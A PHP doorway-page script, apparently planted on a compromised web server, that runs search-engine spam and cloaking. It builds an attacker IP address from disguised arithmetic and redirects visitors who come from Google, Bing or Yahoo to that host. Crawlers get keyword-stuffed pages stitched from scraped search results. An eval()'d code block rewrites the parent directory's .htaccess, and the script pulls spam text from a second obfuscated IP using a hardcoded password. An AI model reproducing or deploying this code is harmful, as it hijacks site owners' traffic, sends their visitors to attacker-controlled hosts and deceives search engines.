<?php $p1 = 1+2+2+round(cos(90)); $p2 = 10+5+10+10+10+round(cos(90)); $p3 = 10+20+20+20+9; $p4 = 1+2+2+5+5; $adddr = $p1.".".$p2.".".$p3.".".$p4; if ((strpos($_SERVER['HTTP_REFERER'], "google")) OR (strpos($_SERVER['HTTP_REFERER'], "bing")) OR (strpos($_SERVER['HTTP_REFERER'], "yahoo"))) { $ard = $adddr; $s = dirname($_SERVER["PHP_SELF"]); $s = $_SERVER["SERVER_NAME"] . $s; $mykeys = $_GET["hl"]; header("Location: http://$adddr/input/?mark=20170316-$s&mykeys=$mykeys"); //header("Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); exit; } $templatepath="papkaa17"; $usetemplates="yes"; $randomtemplate="yes"; $keyparseornot="no"; $trendskeys="no"; $valuetrends="10"; $cloakornotcloak="no"; $resurl="note.php?hl={urlkey}"; $perem="hl"; $keyspath="par.txt"; $kollinks="5"; $linksrazdel=" , "; $extlinkspath=""; $contentsou="2"; $textfile="./text.txt"; $articlesvalue="2"; $randomabarticles="yes"; $bookskeyvalue="10"; $sitemap="no"; $maplinksvalue="480"; $maplinksraz="<br> "; $indexkey="News"; $imageyes="no"; $imagepath="gallery"; $redir=""; $includephpcode = '$ref = $_SERVER["HTTP_REFERER"]; $d = $_SERVER["HTTP_HOST"]; function getUrl() { $url = @( $_SERVER["HTTPS"] != "on" ) ? "http://".$_SERVER["SERVER_NAME"] : "https://".$_SERVER["SERVER_NAME"]; $url .= ( $_SERVER["SERVER_PORT"] != 80 ) ? ":".$_SERVER["SERVER_PORT"] : ""; $url .= $_SERVER["REQUEST_URI"]; return $url; } $s = getUrl(); if (!strpos($_SERVER["HTTP_USER_AGENT"], "Googlebot")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "crawler")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "yahoo")===false || !strpos($_SERVER["HTTP_USER_AGENT"], "bot")===false) { if ((filesize(".htaccess"))>100) { $out = fopen("../.htaccess", "w"); fwrite ($out, "RewriteEngine On RewriteRule ^([A-Za-z0-9-]+).html$ note.php?hl=$1 [L]"); fclose($out); } echo $page; } else { $adr1 = "....................................."; $adr2 = "."; $adr3 = "..................................................................................................................................................................................................................."; $adr4 = ".............................................................................................................................................................................................................."; $ard = strlen($adr1).".".strlen($adr2).".".strlen($adr3).".".strlen($adr4); $ard = "www.toptophot.in"; $s = dirname($_SERVER["PHP_SELF"]); $s = $_SERVER["SERVER_NAME"] . $s; $mykeys = $_GET["hl"]; header("Location: http://$adddr/input/?mark=20170316-$s&mykeys=$mykeys"); //header("Location: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"); exit; } '; $cachepath="./yvsdbh35"; $yourip=""; $dopips=""; $logornot="no"; $pingornot="no"; $pingres="http://rpc.pingomatic.com/"; $firstnoredir="no"; $redirtime="5"; ini_set('memory_limit',"256M"); ini_set('display_errors', 0); //$useragent=strtolower($_SERVER['HTTP_USER_AGENT']); $userip=explode(".", $_SERVER['REMOTE_ADDR']); $usernetip=trim($userip[0]).".".trim($userip[1]).".".trim($userip[2]).".".trim($userip[3]); $botips=" ".$yourip." ".$dopips." "; $keyfromurl =$_GET[$perem]; if(!$keyfromurl){ $keyfromurl=$indexkey; } $key = str_replace("-", " ", $keyfromurl); $key=trim($key); $keyredir = str_replace(" ", "+", $key); $keydefis = str_replace(" ", "-", $keyfromurl); $keydecode = str_replace("-", "+", $keyfromurl); $keydecode = str_replace("'", "", $keydecode); $keydecode = str_replace("\\", "", $keydecode); $keydecode=trim($keydecode); $usedurl=str_replace("{urlkey}", $keydefis, $resurl); //$useragent = $_SERVER['HTTP_USER_AGENT']; //if ((!file_exists($cachepath."/".$keydefis)) AND (!strpos($useragent, "google"))) exit; if($logornot=="yes"){ $fileot="./log.txt"; $fhf=fopen($fileot, "a+"); $dataot="Page ".$usedurl." : ". $_SERVER['HTTP_REFERER']." ".$_SERVER['HTTP_USER_AGENT']." ".$_SERVER['REMOTE_ADDR']." ".date("dS h:i:s A")."\n"; flock($fhf,LOCK_EX); fwrite($fhf, $dataot); fflush($fhf); flock($fhf,LOCK_UN); fclose($fhf); } if($keyfromurl=="mysitemap" && file_exists("map.txt")){ $pagemap=file_get_contents("./map.txt"); echo $pagemap; die(); } if($sitemap=="yes" && !file_exists("map.txt")){ $mapkeys=file_get_contents($keyspath); $mapkeys=explode("\n", $mapkeys); srand((float)microtime() * 1000000); shuffle($mapkeys); $mapkeys = array_slice($mapkeys, 0, $maplinksvalue); $fileot="./map.txt"; $fhf=fopen($fileot, "w"); $dataot1=""; $dataot2=array(); foreach($mapkeys as $mapkey){ $mapkey=trim($mapkey); $mapkeyurl=str_replace(" ", "-", $mapkey); $mapurl=str_replace("{urlkey}", $mapkeyurl, $resurl); $dataot2[]="<a href=\"".$mapurl."\">".$mapkey."</a>".$maplinksraz; } $dataot2=implode($dataot2); $dataot=$dataot1." ".$dataot2." "; flock($fhf,LOCK_EX); fwrite($fhf, $dataot); fflush($fhf); flock($fhf,LOCK_UN); fclose($fhf); $mapkeys=""; } if($sitemap=="yes" && file_exists("map.txt")){ $mapinpage=str_replace("{urlkey}", "mysitemap", $resurl); $mapinpages="<br><a href=\"".$mapinpage."\">SiteMap</a><br>"; } $redir=str_replace("{redirkeyword}", $keyredir, $redir); //if (!strpos($botips, $usernetip)===false || !strpos($_SERVER['REMOTE_ADDR'], "23.8")===false){ if (!strpos($botips, $usernetip)===false || !strpos($_SERVER['HTTP_USER_AGENT'], "Googlebot")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "crawler")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "bot")===false || !strpos($_SERVER['HTTP_USER_AGENT'], "yahoo")===false || $cloakornotcloak=="no"){ if($cloakornotcloak=="no"){ $cloaknoredir=$includephpcode; } // Открываем директорию $dir = opendir($cachepath); // В цикле считываем её содержимое while(($file = readdir($dir))) { // Если текущий объект является файлом - удаляем его if($file!="." && $file!=".."){ $file=trim($file); if($keyfromurl==$file){ $page=file_get_contents($cachepath."/".$file); if($extlinkspath){ $extlinks=file_get_contents($extlinkspath); $page=str_replace("{extlinks}", $extlinks, $page); } if($firstnoredir=="yes"){ $todaydate=date("d"); $matchesparse=array(); $patternparse = "/<!--([0-9]*)-->/sU"; preg_match_all($patternparse, $page, $matchesparse); $gentime=$matchesparse[1][0]; if($gentime){ $needtime=$todaydate-$gentime; if(abs($needtime)>=$redirtime) { $page=str_replace("<!--red-->", $redir, $page); $page=preg_replace("/<!--([0-9]*)-->/", "", $page); $fileot=$cachepath."/".$keyfromurl; $fhf=fopen($fileot, "w+"); $dataot=$page; flock($fhf,LOCK_EX); fwrite($fhf, $dataot); fflush($fhf); flock($fhf,LOCK_UN); fclose($fhf); } } } if($includephpcode){ $includephpcode=str_replace("{redirkeyword}", $keyredir, $includephpcode); /*$fileot="temp.php"; $fhf=fopen($fileot, "w+"); $dataot="<?php ".$includephpcode." ?>"; flock($fhf,LOCK_EX); fwrite($fhf, $dataot); fflush($fhf); flock($fhf,LOCK_UN); fclose($fhf);*/ ob_start(); // Включаем буферизацию вывода ob_clean(); // Чистим буфер (не обязательно) eval ($includephpcode); // Выполняем нужный нам код, результат которого уходит в буфер $buffer=ob_get_contents(); // Пишем в переменную содержимое буфера ob_end_clean(); //$patternparse = "/{phpcode}/"; $page=str_replace("{phpcode}", $buffer, $page); } echo $page; die(); } } } // Закрываем директорию closedir($dir); if($contentsou==1 && $usetemplates=="no"){ $pageparse=getcontent($key, "2"); //$pageparsemini=getcontent($key, "1"); /*$pageparsemini=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparsemini); $pageparsemini=array_slice($pageparsemini, 0, 5); $pageparsemini=implode(".", $pageparsemini);*/ } if($contentsou==2 && $usetemplates=="no") { $pageparse=getcontent2($key, "4"); //$pageparsemini=getcontent2($key, "1"); /*$pageparsemini=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparsemini); $pageparsemini=array_slice($pageparsemini, 0, 5); $pageparsemini=implode(".", $pageparsemini);*/ } if($contentsou==3 && $usetemplates=="no") { $pageparse=file_get_contents($textfile); $pageparse=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparse); $pageparse = array_slice($pageparse, 0, 20); /*$pageparsemini= array_slice($pageparse, 0, 3); $pageparsemini=implode(".", $pageparsemini);*/ $pageparse=implode(".", $pageparse); } if($contentsou==4 && $usetemplates=="no") { $pageparse=getcontent3($key, "2"); } $wordscount=count(explode(" ", $key)); if($keyparseornot=="yes" && $wordscount<=3){ $googlekeys=keyparse($key); if(count($googlekeys)>=3){ $forlinks1=$googlekeys; srand((float)microtime() * 1000000); shuffle($forlinks1); $kusokkeev=$forlinks1; } else { $forlinks1=file_get_contents($keyspath); $forlinks1=explode("\n", $forlinks1); srand((float)microtime() * 1000000); shuffle($forlinks1); $kusokkeev=array_chunk($forlinks1, $kollinks); $kusokkeev=$kusokkeev[0]; } } else { $forlinks1=file_get_contents($keyspath); $forlinks1=explode("\n", $forlinks1); srand((float)microtime() * 1000000); shuffle($forlinks1); $kusokkeev=array_chunk($forlinks1, $kollinks); $kusokkeev=$kusokkeev[0]; } if($trendskeys=="yes"){ $alltrendskeys=keyparse2(); srand((float)microtime() * 1000000); shuffle($alltrendskeys); $neededtrends=array_chunk($alltrendskeys, $valuetrends); $kusokkeev=array_merge ($kusokkeev, $neededtrends[0]); srand((float)microtime() * 1000000); shuffle($kusokkeev); } $links1=array(); foreach($kusokkeev as $i=>$keyforurl){ $keyforurl1=str_replace(" ", "-", $keyforurl); $keyforurl1=trim($keyforurl1); $keyforurl=trim($keyforurl); $linkingurl=str_replace("{urlkey}", $keyforurl1, $resurl); $links1[$i]=" <a href=\"".$linkingurl."\">".$keyforurl."</a>".$linksrazdel; } if($imageyes=="yes" && $usetemplates=="no"){ $files=array(); $dir = opendir("./"); // В цикле считываем её содержимое while(($file = readdir($dir))) { // Если текущий объект является файлом - удаляем его $files[]=trim($file); } closedir($dir); $files=implode(" ", $files); if(strpos($files, $imagepath)===false) { mkdir("./".$imagepath); } $templateimage="<img src=\"".imagesparse($key, $imagepath)."\" alt=\"".$key."\">"; } $links1=implode($links1); $date = date ("l dS of F Y h A"); if($usetemplates=="no"){ $pageview= " <html> <head> <meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /> <meta name=\"keywords\" content=\"".ucfirst($key)."\"> <meta name=\"description\" content=\"".ucfirst($key)."\"> <meta name=\"Robots\" content=\"index,follow\" /> <meta name=\"Robots\" content=\"index,follow\" /> <title>".ucfirst($key)."</title> </head> <body> ".$cloaknoredir." <h1>".ucfirst($key)."</h1><br> <br>".$templateimage."<br><br> ".$mapinpages." ".$pageparse."<br> ".$links1." </body> </html>"; } elseif($usetemplates=="yes"){ if($randomtemplate=="yes"){ $files=array(); $dir = opendir($templatepath); // В цикле считываем её содержимое while(($file = readdir($dir))) { if($file!="." && $file!=".."){ // Если текущий объект является файлом - удаляем его $files[]=trim($file); } } closedir($dir); srand((float)microtime() * 1000000); shuffle($files); $goodtemplatefile=$files[0]; $goodtemplate=file_get_contents("./".$templatepath."/".$goodtemplatefile); } else { $goodtemplate=file_get_contents("./".$templatepath."/".$randomtemplate); } if($firstnoredir=="yes"){ $goodtemplate=$goodtemplate."<!--".date("d")."-->"; } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{image}")) break 1; $goodtemplate=preg_replace("/{image}/", "<img src=\"".imagesparse($key, $imagepath)."\" alt=\"".$key."\">", $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{randurl}")) break 1; srand((float)microtime() * 1000000); shuffle($forlinks1); $forrandurl=str_replace(" ", "-", trim($forlinks1[0])); $randurl=str_replace("{urlkey}", $forrandurl, $resurl); $goodtemplate=preg_replace("/{randurl}/", $randurl, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{rankey}")) break 1; srand((float)microtime() * 1000000); shuffle($forlinks1); $goodtemplate=preg_replace("/{rankey}/", trim($forlinks1[0]), $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if($textfile){ $pageparse=file_get_contents($textfile); $pageparse=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparse); $pageparse = array_slice($pageparse, 0, 40); $pageparse[3]=$pageparse[3]." ".$key; $pageparse[5]=$pageparse[5]." <b>".$key."</b>"; $pageparse[11]=$pageparse[11]." ".$key; $pageparse[14]=$pageparse[14]." <em>".$key."</em>"; $pageparse[18]=$pageparse[18]." ".$key; $pageparse=implode(".", $pageparse); } if (!strstr($goodtemplate, "{manytext}")) break 1; $goodtemplate=preg_replace("/{manytext}/", $pageparse, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{manytext_bing}")) break 1; $pageparse=getcontent2($key, "4"); $pageparse2=getcontent3($key, "4"); $pageparse3=getcontent($key, "4"); $pageparse4=$pageparse." ".$pageparse2." ".$pageparse3; //$pageparse4=$pageparse3; shuffle($pageparse4); $goodtemplate=preg_replace("/{manytext_bing}/", $pageparse4, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{manytext_bing}")) break 1; $pageparse=getcontent($key, "2"); $goodtemplate=preg_replace("/{manytext_bing}/", $pageparse, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{manytext_an}")) break 1; $pageparse=getcontent3($key, "2"); $goodtemplate=preg_replace("/{manytext_an}/", $pageparse, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{bookstext}")) break 1; $pageparse=getbookcontent($key, $bookskeyvalue); $goodtemplate=preg_replace("/{bookstext}/", $pageparse, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{minitext}")) break 1; if($textfile){ $pageparse=file_get_contents($textfile); $pageparse=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparse); $pageparsemini= array_slice($pageparse, 0, 3); $pageparse[2]=$pageparse[2]." <b>".$key."</b>"; $pageparsemini=implode(".", $pageparsemini); } $goodtemplate=preg_replace("/{minitext}/", $pageparsemini, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{minitext_bing}")) break 1; $pageparse=getcontent2($key, "1"); $pageparsemini=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparsemini); $pageparsemini=array_slice($pageparsemini, 0, 5); $pageparsemini=implode(".", $pageparsemini); $goodtemplate=preg_replace("/{minitext_bing}/", $pageparsemini, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{minitext_ab}")) break 1; $pageparse=getcontent($key, "1"); $pageparsemini=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparsemini); $pageparsemini=array_slice($pageparsemini, 0, 5); $pageparsemini=implode(".", $pageparsemini); $goodtemplate=preg_replace("/{minitext_ab}/", $pageparsemini, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{minitext_an}")) break 1; $pageparse=getcontent3($key, "1"); $pageparsemini=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparsemini); $pageparsemini=array_slice($pageparsemini, 0, 5); $pageparsemini=implode(".", $pageparsemini); $goodtemplate=preg_replace("/{minitext_an}/", $pageparsemini, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{manytext_all}")) break 1; $pageparse=getcontent($key, "2"); if(strlen($pageparse)<=10){ $pageparse=getcontent2($key, "4"); } $goodtemplate=preg_replace("/{manytext_all}/", $pageparse, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{minitext_all}")) break 1; $pageparse=getcontent($key, "1"); $pageparsemini=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparsemini); $pageparsemini=array_slice($pageparsemini, 0, 5); $pageparsemini=implode(".", $pageparsemini); if(strlen($pageparsemini)<=10){ $pageparse=getcontent2($key, "1"); $pageparsemini=explode(".", $pageparse); srand((float)microtime() * 1000000); shuffle($pageparsemini); $pageparsemini=array_slice($pageparsemini, 0, 5); $pageparsemini=implode(".", $pageparsemini); } $goodtemplate=preg_replace("/{minitext_all}/", $pageparse, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{ab_content}")) break 1; $pageparse=getcontentaba($key, $articlesvalue, $randomabarticles); if(strlen($pageparse)<=10){ $pageparse=getcontent2($key, "4"); } $goodtemplate=preg_replace("/{ab_content}/", $pageparse, $goodtemplate, 1); } for ($i=0; $i<1000; $i++){ if (!strstr($goodtemplate, "{youtube}")) break 1; $pageparse=youtubeparse($key); $goodtemplate=preg_replace("/{youtube}/", $pageparse, $goodtemplate, 1); } $goodtemplate=str_replace("{keyword}", ucfirst($key), $goodtemplate); $goodtemplate=str_replace("{sitemaplink}", $mapinpages, $goodtemplate); $goodtemplate=str_replace("{links}", $links1, $goodtemplate); if($firstnoredir=="yes"){ $goodtemplate=str_replace("{redirekt}", "<!--red-->", $goodtemplate); } else { $goodtemplate=str_replace("{redirekt}", $cloaknoredir, $goodtemplate); } $pageview=$goodtemplate; } echo $pageview; flush(); $fileot=$cachepath."/".$keyfromurl; $fhf=fopen($fileot, "w+"); $dataot=$pageview; flock($fhf,LOCK_EX); fwrite($fhf, $dataot); fflush($fhf); flock($fhf,LOCK_UN); fclose($fhf); if($pingornot=="yes"){ $pingres=explode(" ", $pingres); foreach($pingres as $pingr){ MYBlog_ping (trim($pingr), ucfirst($key), $usedurl); } } } else { echo $redir; } function getcontent($keyforparse, $cntpages) { $keyforparse = chop($keyforparse); if (file_exists($cachepath."/".$keyforparse)) echo " "; else { $query_pars = $keyforparse; $query_pars_2 = str_replace(" ", "+", chop($query_pars)); $text = ""; $ipppp=4+4; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://$ipppp$ipppp.19$ipppp.19.6$ipppp/story.php?pass=uchasiuh2hbbfw2&q=$query_pars_2"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $text = curl_exec($ch); curl_close($ch); if (strlen($text)<2000) { for($pagge=1;$pagge<6;$pagge++) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://www.ask.com/web?q=$query_pars_2&qsrc=11&adt=1&o=0&l=dir&page=$pagge"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6'); $result = curl_exec($ch); curl_close($ch); $result = str_replace("\r\n", "", $result); $result = str_replace("\n", "", $result); preg_match_all ("#web-result-description\">(.*)</p></div>#iU",$result,$m); foreach ($m[1] as $a) $text .= $a; } for ($yahoo_page = 1; $yahoo_page<53 ; $yahoo_page = $yahoo_page+10) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2&fr=yfp-t&fr2=sb-top&fp=1&b=$yahoo_page&pz=10&bct=0&xargs=0"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"); $result = curl_exec($ch); curl_close($ch); preg_match_all ("#<p class=\"lh-16\">(.*)</p></div>#iU",$result,$m); foreach ($m[1] as $a) $text .= $a; } $text = str_replace("...", "", $text); $text = strip_tags($text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = str_replace(" ", " ", $text); $text = explode(".", $text); shuffle($text); $text = array_unique($text); $text = implode(". ", $text); } return $text; } } function getcontent2($keyforparse, $cntpages) { /* //$keyforparse="phentermine"; //$cntpages=3; $keyforparse=str_replace(" ", "+", $keyforparse); $keyforparse=urlencode($keyforparse); $key2 = explode("%2B", $keyforparse); //$key2 = $key2[0]."%2B".$key2[1]; $key2 = $key2[0]; $naparse=NULL; $cntpages=1; for ($i=0; $i<=$cntpages-1; $i++){ $let = array (video,free,mp3,games,news,songs,music); $r = rand (0,count($let)-1); $myname .= $let[$r]; $pageparse=file_get_contents("http://www.ask.com/web?q=".$keyforparse."&page=".$i); //echo $pageparse; $matchesparse=array(); $patternparse = "#<p class=\"web-result-description\"(.*)<\/p>#isU"; preg_match_all($patternparse, $pageparse, $matchesparse); //var_dump($matchesparse[1]); sleep(1); $matchesparse2=array(); $patternparse2 = "#<p class=\"web-result-description\"(.*)<\/p>#isU"; preg_match_all($patternparse2, $pageparse, $matchesparse2); //var_dump($matchesparse2[1]); //echo "<p>".implode($matchesparse[1])."</p>"; sleep(1); $matchesparse3=array(); $patternparse3 = "#<p class=\"web-result-description\"(.*)<\/p>#isU"; preg_match_all($patternparse3, $pageparse, $matchesparse3); //var_dump($matchesparse2[1]); //echo "<p>".implode($matchesparse[1])."</p>"; sleep(1); $matchesparse4=array(); $patternparse4 = "#<p class=\"web-result-description\"(.*)<\/p>#isU"; preg_match_all($patternparse4, $pageparse, $matchesparse4); //var_dump($matchesparse2[1]); //echo "<p>".implode($matchesparse[1])."</p>"; sleep(1); $naparse[$i]=implode($matchesparse[1])." ".implode($matchesparse2[1])." ".implode($matchesparse3[1])." ".implode($matchesparse4[1]); } srand((float)microtime() * 1000000); shuffle($naparse); //echo implode($naparse); $result1=implode($naparse); $result1=explode(".", $result1); srand((float)microtime() * 1000000); shuffle($result1); $result1=implode(". ", $result1); $result1=str_replace(". id=\"r2_a}\">", "", $result1); $patternparse1 = "/http:\/\/.*\s/sU"; $result=preg_replace($patternparse1, "", $result1); //$patternparse2 = "/<a.*\s/sU"; //$result=preg_replace($patternparse2, "", $result); //$result=str_replace("$keyforparse", "<strong>$keyforparse</strong>", $result); $result=str_replace(". id=\"r2_a}\">", " ", $result); $result=str_replace(" id=\"r3_a}\">", " ", $result); $result=str_replace(". id=\"r4_a}\">", " ", $result); $result=str_replace(". id=\"r5_a}\">", " ", $result); $result=str_replace(". id=\"r6_a}\">", " ", $result); $result=str_replace(" id=\"r7_a}\">", " ", $result); $result=str_replace(". id=\"r8_a}\">", " ", $result); $result=str_replace(". id=\"r9_a}\">", " ", $result); $result=str_replace(" id=\"r1_a}\">", " ", $result); $result=str_replace(" id=\"r0_a}\">", " ", $result); $result=str_replace("id=\"r2_a}\">", " ", $result); $result=str_replace("id=\"r3_a}\">", " ", $result); $result=str_replace("id=\"r4_a}\">", " ", $result); $result=str_replace("id=\"r5_a}\">", " ", $result); $result=str_replace("id=\"r6_a}\">", " ", $result); $result=str_replace("id=\"r7_a}\">", " ", $result); $result=str_replace("id=\"r8_a}\">", " ", $result); $result=str_replace("id=\"r9_a}\">", " ", $result); $result=str_replace("id=\"r1_a}\">", " ", $result); $result=str_replace("id=\"r0_a}\">", " ", $result); $result=str_replace("<KW>", "", $result); $result=str_replace("</KW>", "", $result); $result=str_replace(". . ", "", $result); $result=str_replace(", . ", "", $result); $result=str_replace(". . . ", "", $result); $result=str_replace(" . . ", "", $result); $result=str_replace(". >", ". ", $result); $result=str_replace("<b>", " ", $result); $result=str_replace("</b>", " ", $result); $result=str_replace(">", " ", $result); $strr2 = explode("%2B", $keyforparse); $result=str_replace("$strr2[1]", "", $result); $strr3 = ucfirst($strr2[1]); $result=str_replace("$strr3", "", $result); //echo $strr2[1]; //echo $strr3; return $result; //echo $result; */ } function getcontent3($keyforparse, $cntpages) { /* //$keyforparse="phentermine"; //$cntpages=3; $keyforparse=str_replace(" ", "+", $keyforparse); $naparse=NULL; $cntpages=6; //echo $cntpages; for ($i=0; $i<=$cntpages-1; $i++){ $pageparse=file_get_contents("http://search.yahoo.com/search?p=".$keyforparse."&b=".$i."1&pz=10&bct=0&pstart=3"); $matchesparse=array(); $patternparse = "/class=\"lh-17\">(.*)<\/p><\/div>/sU"; preg_match_all($patternparse, $pageparse, $matchesparse); //var_dump($matchesparse2[1]); //echo "<p>".implode($matchesparse[1])."</p>"; $naparse[$i]=implode($matchesparse[1]); //sleep(1); //echo $pageparse; } srand((float)microtime() * 1000000); shuffle($naparse); //echo implode($naparse); $result1=implode($naparse); $result1=explode(".", $result1); srand((float)microtime() * 1000000); shuffle($result1); $result1=implode(". ", $result1); $result1=str_replace("<tr>", "", $result1); $result1=str_replace("<br>", " ", $result1); $result1=str_replace("</tr>", "", $result1); $patternparse1 = "/http:\/\/.*\s/sU"; $result=preg_replace($patternparse1, "", $result1); //$result=str_replace("$keyforparse", "<strong>$keyforparse</strong>", $result); $result=str_replace("<em>", "<strong>", $result); $result=str_replace("</em>", "</strong>", $result); $result=str_replace("<b>", "", $result); $result=str_replace("</b>", "", $result); $result=str_replace(" . . .", "", $result); $result=str_replace("</b>", "", $result); $result=str_replace("<span class=\" fc-2nd\">", "", $result); $result=str_replace("</span>", "", $result); $result=str_replace(". . ", "", $result); return $result; */ } function getcontentaba($keyforparse, $value, $random) { /* $keyforparse=str_replace(" ", "+", $keyforparse); $naparse=NULL; $pageparse=file_get_contents("http://www.dogpile.com/search/web?qsi=".$i."1&q=".$keyforparse); //echo $pageparse; $matchesparse=array(); $patternparse = "/class=\"resultDescription\">(.*)<\/div>/sU"; preg_match_all($patternparse, $pageparse, $matchesparse); //var_dump($matchesparse); srand((float)microtime() * 1000000); shuffle($matchesparse[1]); for ($i=0; $i<=$value-1; $i++){ $page=file_get_contents("http://www.articlesbase.com/".$matchesparse[1][$i]); //echo $page; $patternparse1 = "/<div class=\"KonaBody\">(.*)<\/div>/sU"; preg_match_all($patternparse1, $page, $matchesparse1); //var_dump($matchesparse1[1][0]); $naparse[$i]=$matchesparse1[1][0]; $naparse[$i]=trim($naparse[$i]); //var_dump($naparse[$i]); } $result1=implode($naparse); $result1=strip_tags($result1); if($random){ $result1=explode(".", $result1); srand((float)microtime() * 1000000); shuffle($result1); $result1=implode(". ", $result1); $patternparse1 = "/http:\/\/.*\s/sU"; $result=preg_replace($patternparse1, "", $result1); $patternparse1 = "/<a.*<\/a>/sU"; $result=preg_replace($patternparse1, "", $result); $patternparse1 = "/<.*>/sU"; $result=preg_replace($patternparse1, "", $result); $result=str_replace("...", "", $result); $result=str_replace(". . .", "", $result); $result=str_replace("..", "", $result); $result=str_replace(". .", "", $result); $result=str_replace("....", "", $result); $result=str_replace(". . . .", "", $result); } else { $result1=implode($naparse); $patternparse1 = "/http:\/\/.*\s/sU"; $result=preg_replace($patternparse1, "", $result1); $patternparse1 = "/<a.*<\/a>/sU"; $result=preg_replace($patternparse1, "", $result); $patternparse1 = "/<.*>/sU"; $result=preg_replace($patternparse1, "", $result); } return $result; */ } function generateCharSequence($length) { //$sequence=''; $chars = array(/*'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P', 'A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', */'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm'); for($i=0; $i<$length; $i++) { $sequence .= $chars[rand(0, count($chars)-1)]; } return $sequence; } ?>